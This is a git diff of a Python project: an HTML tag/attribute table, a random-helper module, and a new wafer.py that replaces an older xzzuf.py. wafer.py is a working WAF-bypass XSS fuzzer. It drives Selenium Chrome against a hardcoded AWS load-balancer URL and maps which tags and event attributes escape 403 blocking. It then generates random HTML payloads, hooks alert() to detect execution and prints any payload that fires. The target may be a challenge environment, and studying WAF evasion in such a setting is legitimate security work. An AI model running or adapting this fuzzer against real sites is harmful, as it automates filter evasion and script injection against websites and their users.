HTMLAttribute('selected', HTMLTagAttributeType.TypeFlag),
|
||||||
|
HTMLAttribute('value', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'output': [
|
||||||
|
HTMLAttribute('for', HTMLTagAttributeType.TypeName),
|
||||||
|
HTMLAttribute('form', HTMLTagAttributeType.TypeName),
|
||||||
|
],
|
||||||
|
'p': [
|
||||||
|
HTMLAttribute('align', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'param': [
|
||||||
|
HTMLAttribute('type', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('value', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('valuetype', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'picture': [
|
||||||
|
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'plaintext': [
|
||||||
|
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'pre': [
|
||||||
|
HTMLAttribute('width', HTMLTagAttributeType.TypeNumber),
|
||||||
|
],
|
||||||
|
'progress': [
|
||||||
|
HTMLAttribute('max', HTMLTagAttributeType.TypeNumber),
|
||||||
|
HTMLAttribute('value', HTMLTagAttributeType.TypeNumber),
|
||||||
|
],
|
||||||
|
'q': [
|
||||||
|
HTMLAttribute('cite', HTMLTagAttributeType.TypeURL),
|
||||||
|
],
|
||||||
|
's': [
|
||||||
|
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'samp': [
|
||||||
|
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'script': [
|
||||||
|
HTMLAttribute('async', HTMLTagAttributeType.TypeFlag),
|
||||||
|
HTMLAttribute('charset', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('defer', HTMLTagAttributeType.TypeFlag),
|
||||||
|
HTMLAttribute('integrity', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('language', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('nomodule', HTMLTagAttributeType.TypeFlag),
|
||||||
|
HTMLAttribute('nonce', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('src', HTMLTagAttributeType.TypeURL),
|
||||||
|
HTMLAttribute('type', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'select': [
|
||||||
|
HTMLAttribute('autocomplete', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('autofocus', HTMLTagAttributeType.TypeFlag),
|
||||||
|
HTMLAttribute('disabled', HTMLTagAttributeType.TypeFlag),
|
||||||
|
HTMLAttribute('form', HTMLTagAttributeType.TypeName),
|
||||||
|
HTMLAttribute('multiple', HTMLTagAttributeType.TypeFlag),
|
||||||
|
HTMLAttribute('required', HTMLTagAttributeType.TypeFlag),
|
||||||
|
HTMLAttribute('size', HTMLTagAttributeType.TypeNumber),
|
||||||
|
],
|
||||||
|
'small': [
|
||||||
|
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'source': [
|
||||||
|
HTMLAttribute('media', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('sizes', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('src', HTMLTagAttributeType.TypeURL),
|
||||||
|
HTMLAttribute('srcset', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('type', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'span': [
|
||||||
|
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'strike': [
|
||||||
|
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'strong': [
|
||||||
|
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'style': [
|
||||||
|
HTMLAttribute('media', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('nonce', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('type', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'sub': [
|
||||||
|
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'sup': [
|
||||||
|
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'table': [
|
||||||
|
HTMLAttribute('align', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('bgcolor', HTMLTagAttributeType.TypeColor),
|
||||||
|
HTMLAttribute('border', HTMLTagAttributeType.TypeNumber),
|
||||||
|
HTMLAttribute('cellpadding', HTMLTagAttributeType.TypeNumber),
|
||||||
|
HTMLAttribute('cellspacing', HTMLTagAttributeType.TypeNumber),
|
||||||
|
HTMLAttribute('frame', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('rules', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('summary', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('width', HTMLTagAttributeType.TypeNumber),
|
||||||
|
],
|
||||||
|
'tbody': [
|
||||||
|
HTMLAttribute('align', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('char', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('charoff', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('valign', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('bgcolor', HTMLTagAttributeType.TypeColor),
|
||||||
|
],
|
||||||
|
|
||||||
|
'td': [
|
||||||
|
HTMLAttribute('abbr', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('align', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('axis', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('bgcolor', HTMLTagAttributeType.TypeColor),
|
||||||
|
HTMLAttribute('char', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('charoff', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('colspan', HTMLTagAttributeType.TypeNumber),
|
||||||
|
HTMLAttribute('headers', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('height', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('nowrap', HTMLTagAttributeType.TypeFlag),
|
||||||
|
HTMLAttribute('rowspan', HTMLTagAttributeType.TypeNumber),
|
||||||
|
HTMLAttribute('scope', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('valign', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('width', HTMLTagAttributeType.TypeNumber),
|
||||||
|
],
|
||||||
|
'template': [
|
||||||
|
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'textarea': [
|
||||||
|
HTMLAttribute('autocomplete', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('autofocus', HTMLTagAttributeType.TypeFlag),
|
||||||
|
HTMLAttribute('cols', HTMLTagAttributeType.TypeNumber),
|
||||||
|
HTMLAttribute('dirname', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('disabled', HTMLTagAttributeType.TypeFlag),
|
||||||
|
HTMLAttribute('form', HTMLTagAttributeType.TypeName),
|
||||||
|
HTMLAttribute('maxlength', HTMLTagAttributeType.TypeNumber),
|
||||||
|
HTMLAttribute('minlength', HTMLTagAttributeType.TypeNumber),
|
||||||
|
HTMLAttribute('placeholder', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('readonly', HTMLTagAttributeType.TypeFlag),
|
||||||
|
HTMLAttribute('required', HTMLTagAttributeType.TypeFlag),
|
||||||
|
HTMLAttribute('rows', HTMLTagAttributeType.TypeNumber),
|
||||||
|
HTMLAttribute('wrap', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'tfoot': [
|
||||||
|
HTMLAttribute('align', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('bgcolor', HTMLTagAttributeType.TypeColor),
|
||||||
|
HTMLAttribute('char', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('charoff', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('valign', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'th': [
|
||||||
|
HTMLAttribute('abbr', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('align', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('axis', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('bgcolor', HTMLTagAttributeType.TypeColor),
|
||||||
|
HTMLAttribute('char', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('charoff', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('colspan', HTMLTagAttributeType.TypeNumber),
|
||||||
|
HTMLAttribute('headers', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('height', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('nowrap', HTMLTagAttributeType.TypeFlag),
|
||||||
|
HTMLAttribute('rowspan', HTMLTagAttributeType.TypeNumber),
|
||||||
|
HTMLAttribute('scope', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('valign', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('width', HTMLTagAttributeType.TypeNumber),
|
||||||
|
],
|
||||||
|
|
||||||
|
'thead': [
|
||||||
|
HTMLAttribute('align', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('bgcolor', HTMLTagAttributeType.TypeColor),
|
||||||
|
HTMLAttribute('char', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('charoff', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('valign', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'time': [
|
||||||
|
HTMLAttribute('datetime', HTMLTagAttributeType.TypeDate),
|
||||||
|
],
|
||||||
|
'title': [
|
||||||
|
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'tr': [
|
||||||
|
HTMLAttribute('align', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('bgcolor', HTMLTagAttributeType.TypeColor),
|
||||||
|
HTMLAttribute('char', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('charoff', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('valign', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'track': [
|
||||||
|
HTMLAttribute('default', HTMLTagAttributeType.TypeFlag),
|
||||||
|
HTMLAttribute('kind', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('label', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('src', HTMLTagAttributeType.TypeURL),
|
||||||
|
HTMLAttribute('srclang', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'tt': [
|
||||||
|
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'u': [
|
||||||
|
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'ul': [
|
||||||
|
HTMLAttribute('compact', HTMLTagAttributeType.TypeFlag),
|
||||||
|
HTMLAttribute('type', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'var': [
|
||||||
|
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'video': [
|
||||||
|
HTMLAttribute('autoplay', HTMLTagAttributeType.TypeFlag),
|
||||||
|
HTMLAttribute('controls', HTMLTagAttributeType.TypeFlag),
|
||||||
|
HTMLAttribute('crossorigin', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('height', HTMLTagAttributeType.TypeNumber),
|
||||||
|
HTMLAttribute('loop', HTMLTagAttributeType.TypeFlag),
|
||||||
|
HTMLAttribute('muted', HTMLTagAttributeType.TypeFlag),
|
||||||
|
HTMLAttribute('playsinline', HTMLTagAttributeType.TypeFlag),
|
||||||
|
HTMLAttribute('poster', HTMLTagAttributeType.TypeURL),
|
||||||
|
HTMLAttribute('preload', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('src', HTMLTagAttributeType.TypeURL),
|
||||||
|
HTMLAttribute('width', HTMLTagAttributeType.TypeNumber),
|
||||||
|
],
|
||||||
|
|
||||||
|
'wbr': [
|
||||||
|
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'xmp': [
|
||||||
|
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'xml': [
|
||||||
|
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'xsl': [
|
||||||
|
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||||
|
],
|
||||||
|
'svg': [
|
||||||
|
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||||
|
HTMLAttribute('xmlns', HTMLTagAttributeType.TypeURL),
|
||||||
|
HTMLAttribute('xmlns:xlink', HTMLTagAttributeType.TypeURL),
|
||||||
|
HTMLAttribute('xmlns:xml', HTMLTagAttributeType.TypeURL),
|
||||||
|
HTMLAttribute('xmlns:xsl', HTMLTagAttributeType.TypeURL),
|
||||||
|
HTMLAttribute('xmlns:xhtml', HTMLTagAttributeType.TypeURL),
|
||||||
|
HTMLAttribute('xmlns:ev', HTMLTagAttributeType.TypeURL),
|
||||||
|
],
|
||||||
|
}
|
43
utils.py
Normal file
43
utils.py
Normal file
@ -0,0 +1,43 @@
|
|||||||
|
import random
|
||||||
|
import time
|
||||||
|
|
||||||
|
|
||||||
|
def rndstr(length):
|
||||||
|
return ''.join(random.choice('0123456789abcdef') for i in range(length))
|
||||||
|
|
||||||
|
|
||||||
|
def choice(arr):
|
||||||
|
# randomize seed
|
||||||
|
return random.choice(arr)
|
||||||
|
|
||||||
|
|
||||||
|
def rndunicode():
|
||||||
|
# randomize seed
|
||||||
|
return chr(random.randint(0, 0x10FFFF))
|
||||||
|
|
||||||
|
|
||||||
|
def choice_percent(elements):
|
||||||
|
# elements is a dict of {percent: action}
|
||||||
|
# like following:
|
||||||
|
# elements = {
|
||||||
|
# 10: lambda: 'a',
|
||||||
|
# 20: lambda: 'b',
|
||||||
|
# 30: lambda: 'c',
|
||||||
|
# 40: lambda: 'd',
|
||||||
|
# }
|
||||||
|
# that means we have 10% chance to get 'a', 20% chance to get 'b', etc.
|
||||||
|
|
||||||
|
total_percent = sum(elements.keys())
|
||||||
|
|
||||||
|
# get random number
|
||||||
|
rnd = random.randint(1, total_percent)
|
||||||
|
|
||||||
|
# get action
|
||||||
|
cumulative_percent = 0
|
||||||
|
for percent, action in elements.items():
|
||||||
|
cumulative_percent += percent
|
||||||
|
if rnd <= cumulative_percent:
|
||||||
|
return action
|
||||||
|
|
||||||
|
# should not reach here
|
||||||
|
return None
|
348
wafer.py
Normal file
348
wafer.py
Normal file
@ -0,0 +1,348 @@
|
|||||||
|
from selenium import webdriver
|
||||||
|
from selenium.webdriver.support.ui import WebDriverWait
|
||||||
|
from selenium.webdriver.chrome import service
|
||||||
|
from urllib.parse import urlparse
|
||||||
|
from urllib.parse import urlencode
|
||||||
|
from language import HTMLTag, HTMLAttribute, HTMLTagAttributeType
|
||||||
|
from tags import GlobalAttributes, EventsAttributes, TagSpecificAttributes, Tags
|
||||||
|
from mutations import Mutations
|
||||||
|
from utils import choice, choice_percent
|
||||||
|
from threading import Thread, Lock
|
||||||
|
import random
|
||||||
|
import time
|
||||||
|
|
||||||
|
# WAFBypass class
|
||||||
|
|
||||||
|
|
||||||
|
class TagList():
|
||||||
|
def __init__(self, e):
|
||||||
|
self.l = list(e)
|
||||||
|
|
||||||
|
def __str__(self) -> str:
|
||||||
|
s = ""
|
||||||
|
for tag in self.l:
|
||||||
|
s += f"{tag}"
|
||||||
|
return s
|
||||||
|
|
||||||
|
|
||||||
|
class FuzzQueue():
|
||||||
|
def __init__(self) -> None:
|
||||||
|
self.queue = []
|
||||||
|
self.lock = Lock()
|
||||||
|
|
||||||
|
def push(self, tag):
|
||||||
|
self.lock.acquire()
|
||||||
|
self.queue.append(tag)
|
||||||
|
self.lock.release()
|
||||||
|
|
||||||
|
def pop(self):
|
||||||
|
if len(self.queue) == 0:
|
||||||
|
return None
|
||||||
|
self.lock.acquire()
|
||||||
|
element = self.queue.pop()
|
||||||
|
self.lock.release()
|
||||||
|
return element
|
||||||
|
|
||||||
|
def __len__(self):
|
||||||
|
return len(self.queue)
|
||||||
|
|
||||||
|
|
||||||
|
class WAFBypass():
|
||||||
|
code = "window.alert_trigger = false;window.alert = function() {window.alert_trigger = true;};window.confirm = window.alert;window.prompt = window.alert;"
|
||||||
|
trigger = """
|
||||||
|
var ids = {0};
|
||||||
|
for (var i = 0; i < ids.length; i++) {{
|
||||||
|
var element = document.getElementById(ids[i]);
|
||||||
|
if(!element) continue;
|
||||||
|
// trigger all possible events click, mouseover, etc.
|
||||||
|
var events = ['click', 'mouseover', 'mousedown', 'mouseup', 'mousemove', 'mouseout', 'mouseenter', 'mouseleave', 'dblclick', 'contextmenu', 'wheel', 'select', 'pointerdown', 'pointerup', 'pointermove', 'pointerover', 'pointerout', 'pointerenter', 'pointerleave', 'gotpointercapture', 'lostpointercapture'];
|
||||||
|
try {{
|
||||||
|
for (var j = 0; j < events.length; j++) {{
|
||||||
|
var event = new MouseEvent(events[j], {{bubbles: true}});
|
||||||
|
element.dispatchEvent(event);
|
||||||
|
}}
|
||||||
|
element.focus();
|
||||||
|
element.blur();
|
||||||
|
// trigger accesskey ctrl+alt+X
|
||||||
|
element.dispatchEvent(new KeyboardEvent('keydown', {{ctrlKey: true, altKey: true, key: 'x'}}));
|
||||||
|
}} catch (e) {{}}
|
||||||
|
}}
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(self, url, param) -> None:
|
||||||
|
self.param = param
|
||||||
|
self.options = webdriver.ChromeOptions()
|
||||||
|
self.options.add_argument('--no-sandbox')
|
||||||
|
# self.options.add_argument('--headless')
|
||||||
|
self.options.add_argument('--disable-gpu')
|
||||||
|
self.options.add_experimental_option(
|
||||||
|
"excludeSwitches", ["enable-logging"])
|
||||||
|
self.unfiltered_attributes = {}
|
||||||
|
self.unfiltered_tags = []
|
||||||
|
self.driver = webdriver.Chrome(
|
||||||
|
options=self.options,
|
||||||
|
service=service.Service(service_args=["--log-path=NUL"]))
|
||||||
|
self.url = urlparse(url)
|
||||||
|
self.mutator = Mutations()
|
||||||
|
self.queue = FuzzQueue()
|
||||||
|
self.threads = []
|
||||||
|
self.lock = Lock()
|
||||||
|
self.payloads = 0
|
||||||
|
|
||||||
|
random.seed(time.time_ns())
|
||||||
|
|
||||||
|
if not self.check_connection():
|
||||||
|
raise Exception("Connection Error")
|
||||||
|
|
||||||
|
self.driver.execute_cdp_cmd(
|
||||||
|
"Page.addScriptToEvaluateOnNewDocument", {"source": self.code})
|
||||||
|
|
||||||
|
def inc_payloads(self):
|
||||||
|
self.lock.acquire()
|
||||||
|
self.payloads += 1
|
||||||
|
self.lock.release()
|
||||||
|
|
||||||
|
def check_connection(self):
|
||||||
|
try:
|
||||||
|
self.driver.get(self.url.geturl())
|
||||||
|
return True
|
||||||
|
except:
|
||||||
|
return False
|
||||||
|
|
||||||
|
def wait_for_pageload(self, driver):
|
||||||
|
try:
|
||||||
|
WebDriverWait(driver, 4).until(
|
||||||
|
lambda driver: driver.execute_script("return document.readyState") == "complete")
|
||||||
|
except TimeoutError:
|
||||||
|
raise Exception("Page Load Error")
|
||||||
|
|
||||||
|
def get_page_title(self):
|
||||||
|
return self.driver.title
|
||||||
|
|
||||||
|
@property
|
||||||
|
def is_403(self):
|
||||||
|
return self.driver.title == "403 Forbidden"
|
||||||
|
|
||||||
|
@property
|
||||||
|
def triggered_xss(self):
|
||||||
|
return self.driver.execute_script("return window.alert_trigger")
|
||||||
|
|
||||||
|
def navigate(self, driver, url):
|
||||||
|
driver.get(url)
|
||||||
|
self.wait_for_pageload(driver)
|
||||||
|
|
||||||
|
is403 = False
|
||||||
|
|
||||||
|
if self.is_403:
|
||||||
|
is403 = True
|
||||||
|
else:
|
||||||
|
is403 = False
|
||||||
|
|
||||||
|
triggerxss = self.triggered_xss
|
||||||
|
|
||||||
|
return (is403, triggerxss)
|
||||||
|
|
||||||
|
def identify_unfiltered_attributes(self):
|
||||||
|
try:
|
||||||
|
self.unfiltered_attributes["global"] = []
|
||||||
|
self.unfiltered_attributes["events"] = []
|
||||||
|
self.unfiltered_attributes["tag_specific"] = {}
|
||||||
|
|
||||||
|
for attr in GlobalAttributes:
|
||||||
|
encoded = urlencode({self.param: f"{attr}"})
|
||||||
|
url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}"
|
||||||
|
is403, _ = self.navigate(self.driver, url)
|
||||||
|
if not is403:
|
||||||
|
self.unfiltered_attributes["global"].append(attr)
|
||||||
|
|
||||||
|
for attr in EventsAttributes:
|
||||||
|
encoded = urlencode({self.param: f"{attr}"})
|
||||||
|
url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}"
|
||||||
|
is403, _ = self.navigate(self.driver, url)
|
||||||
|
if not is403:
|
||||||
|
self.unfiltered_attributes["events"].append(attr)
|
||||||
|
|
||||||
|
for tag in self.unfiltered_tags:
|
||||||
|
if tag not in self.unfiltered_attributes["tag_specific"]:
|
||||||
|
self.unfiltered_attributes["tag_specific"][tag.name] = []
|
||||||
|
try:
|
||||||
|
for attr in TagSpecificAttributes[tag.name]:
|
||||||
|
encoded = urlencode(
|
||||||
|
{self.param: f"<{tag.name} {attr}/>"})
|
||||||
|
url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}"
|
||||||
|
is403, _ = self.navigate(self.driver, url)
|
||||||
|
if not is403:
|
||||||
|
self.unfiltered_attributes["tag_specific"][tag.name].append(
|
||||||
|
attr)
|
||||||
|
except KeyError:
|
||||||
|
print(f"Tag {tag.name} not found in TagSpecificAttributes")
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
return
|
||||||
|
|
||||||
|
def identify_unfiltered_tags(self):
|
||||||
|
try:
|
||||||
|
for tag in Tags:
|
||||||
|
encoded = urlencode({self.param: f"{tag}"})
|
||||||
|
url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}"
|
||||||
|
is403, _ = self.navigate(self.driver, url)
|
||||||
|
if not is403:
|
||||||
|
self.unfiltered_tags.append(tag)
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
return
|
||||||
|
|
||||||
|
def dry_run(self):
|
||||||
|
try:
|
||||||
|
self.identify_unfiltered_tags()
|
||||||
|
self.identify_unfiltered_attributes()
|
||||||
|
except Exception as e:
|
||||||
|
raise Exception(f"Dry Run Error: {e}")
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
return
|
||||||
|
|
||||||
|
def get_tag(self):
|
||||||
|
try:
|
||||||
|
tag = choice(self.unfiltered_tags)
|
||||||
|
# make a copy of tag to avoid mutating the original
|
||||||
|
tag = HTMLTag(tag.name, tag.self_closing)
|
||||||
|
tag.set_mutator(self.mutator)
|
||||||
|
|
||||||
|
nglobattr = choice(range(1, 3))
|
||||||
|
nattr = choice(range(1, 3))
|
||||||
|
|
||||||
|
globals = list(self.unfiltered_attributes["global"])
|
||||||
|
|
||||||
|
for _ in range(0, nglobattr):
|
||||||
|
if len(globals) == 0:
|
||||||
|
break
|
||||||
|
attr = choice(globals)
|
||||||
|
globals.remove(attr)
|
||||||
|
# make a copy of attr to avoid mutating the original
|
||||||
|
attr = HTMLAttribute(attr.name, attr.kind,
|
||||||
|
glob=True, root=None)
|
||||||
|
tag.add_attribute(attr)
|
||||||
|
|
||||||
|
attr = choice(self.unfiltered_attributes["events"])
|
||||||
|
# make a copy of attr to avoid mutating the original
|
||||||
|
attr = HTMLAttribute(attr.name, attr.kind,
|
||||||
|
glob=False, root=None)
|
||||||
|
tag.add_attribute(attr)
|
||||||
|
|
||||||
|
tag_specific = list(
|
||||||
|
self.unfiltered_attributes["tag_specific"][tag.name])
|
||||||
|
|
||||||
|
for _ in range(0, nattr):
|
||||||
|
if len(tag_specific) == 0:
|
||||||
|
break
|
||||||
|
attr = choice(tag_specific)
|
||||||
|
tag_specific.remove(attr)
|
||||||
|
# make a copy of attr to avoid mutating the original
|
||||||
|
attr = HTMLAttribute(attr.name, attr.kind,
|
||||||
|
glob=False, root=None)
|
||||||
|
tag.add_attribute(attr)
|
||||||
|
|
||||||
|
addchildren = {
|
||||||
|
70: lambda: False,
|
||||||
|
30: lambda: True
|
||||||
|
}
|
||||||
|
|
||||||
|
should_add = choice_percent(addchildren)
|
||||||
|
|
||||||
|
if (should_add()):
|
||||||
|
tag.children.append(self.get_tag())
|
||||||
|
|
||||||
|
return tag
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
return None
|
||||||
|
|
||||||
|
def fuzz_thread(self, driver: webdriver.Chrome, started):
|
||||||
|
driver.execute_cdp_cmd(
|
||||||
|
"Page.addScriptToEvaluateOnNewDocument", {"source": self.code})
|
||||||
|
|
||||||
|
while not started:
|
||||||
|
time.sleep(0.1)
|
||||||
|
pass
|
||||||
|
|
||||||
|
while True:
|
||||||
|
element = self.queue.pop()
|
||||||
|
if not element:
|
||||||
|
break
|
||||||
|
encoded = urlencode({self.param: f"{element}"})
|
||||||
|
url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}"
|
||||||
|
is403, triggered = self.navigate(driver, url)
|
||||||
|
|
||||||
|
# close window
|
||||||
|
driver.close()
|
||||||
|
|
||||||
|
def get_tag_id(self, tag):
|
||||||
|
tag_ids = []
|
||||||
|
tag_ids.append(tag.id)
|
||||||
|
if len(tag.children) >= 0:
|
||||||
|
for child in tag.children:
|
||||||
|
tag_ids.extend(self.get_tag_id(child))
|
||||||
|
|
||||||
|
return tag_ids
|
||||||
|
|
||||||
|
def get_tag_name(self, tag):
|
||||||
|
tag_names = []
|
||||||
|
tag_names.append(tag.nameattr)
|
||||||
|
if len(tag.children) >= 0:
|
||||||
|
for child in tag.children:
|
||||||
|
tag_names.extend(self.get_tag_name(child))
|
||||||
|
|
||||||
|
return tag_names
|
||||||
|
|
||||||
|
def get_ids(self, tags):
|
||||||
|
tag_ids = []
|
||||||
|
for tag in tags:
|
||||||
|
tag_ids.extend(self.get_tag_id(tag))
|
||||||
|
return tag_ids
|
||||||
|
|
||||||
|
def get_names(self, tags):
|
||||||
|
tag_names = []
|
||||||
|
for tag in tags:
|
||||||
|
tag_names.extend(self.get_tag_name(tag))
|
||||||
|
return tag_names
|
||||||
|
|
||||||
|
def populate_ids_names(self, tags):
|
||||||
|
ids = self.get_ids(tags)
|
||||||
|
names = self.get_names(tags)
|
||||||
|
|
||||||
|
def populate(tag, ids=ids, names=names):
|
||||||
|
tag.ids = ids
|
||||||
|
tag.names = names
|
||||||
|
for child in tag.children:
|
||||||
|
populate(child)
|
||||||
|
|
||||||
|
for tag in tags:
|
||||||
|
populate(tag)
|
||||||
|
|
||||||
|
def test(self):
|
||||||
|
try:
|
||||||
|
self.dry_run()
|
||||||
|
|
||||||
|
print("Starting fuzzer")
|
||||||
|
|
||||||
|
while True:
|
||||||
|
tags = [self.get_tag() for _ in range(0, choice(range(1, 3)))]
|
||||||
|
self.populate_ids_names(tags)
|
||||||
|
payload = TagList(tags)
|
||||||
|
encoded = urlencode({self.param: f"{payload}"})
|
||||||
|
url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}"
|
||||||
|
is403, triggered = self.navigate(self.driver, url)
|
||||||
|
if triggered:
|
||||||
|
print(f"XSS Payload: {payload}")
|
||||||
|
self.driver.execute_script(
|
||||||
|
self.trigger.format(self.get_ids(tags)))
|
||||||
|
triggered = self.triggered_xss
|
||||||
|
if triggered:
|
||||||
|
print(f"XSS Payload: {payload}")
|
||||||
|
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
print("Stopping fuzzer")
|
||||||
|
self.driver.close()
|
||||||
|
return
|
||||||
|
|
||||||
|
|
||||||
|
w = WAFBypass(
|
||||||
|
"http://aws-wafbypass-lb-311079289.eu-south-1.elb.amazonaws.com", "param2")
|
||||||
|
w.test()
|
90
xzzuf.py
90
xzzuf.py
@ -1,90 +0,0 @@
|
|||||||
from urllib.parse import unquote
|
|
||||||
import selenium
|
|
||||||
import time
|
|
||||||
from selenium import webdriver
|
|
||||||
from selenium.webdriver.support.ui import WebDriverWait
|
|
||||||
from urllib.parse import urlparse
|
|
||||||
from urllib.parse import urlencode
|
|
||||||
|
|
||||||
# WAFBypass class
|
|
||||||
class WAFBypass():
|
|
||||||
code = "window.alert_trigger = false;window.alert = function() {window.alert_trigger = true;}"
|
|
||||||
|
|
||||||
def __init__(self, url) -> None:
|
|
||||||
self.options = webdriver.ChromeOptions()
|
|
||||||
self.options.add_argument('--no-sandbox')
|
|
||||||
self.options.add_argument('--headless')
|
|
||||||
self.driver = webdriver.Chrome(options=self.options)
|
|
||||||
self.url = urlparse(url)
|
|
||||||
|
|
||||||
if not self.check_connection():
|
|
||||||
raise Exception("Connection Error")
|
|
||||||
|
|
||||||
self.driver.execute_cdp_cmd(
|
|
||||||
"Page.addScriptToEvaluateOnNewDocument", {"source": self.code})
|
|
||||||
|
|
||||||
def check_connection(self):
|
|
||||||
try:
|
|
||||||
self.driver.get(self.url.geturl())
|
|
||||||
return True
|
|
||||||
except:
|
|
||||||
return False
|
|
||||||
|
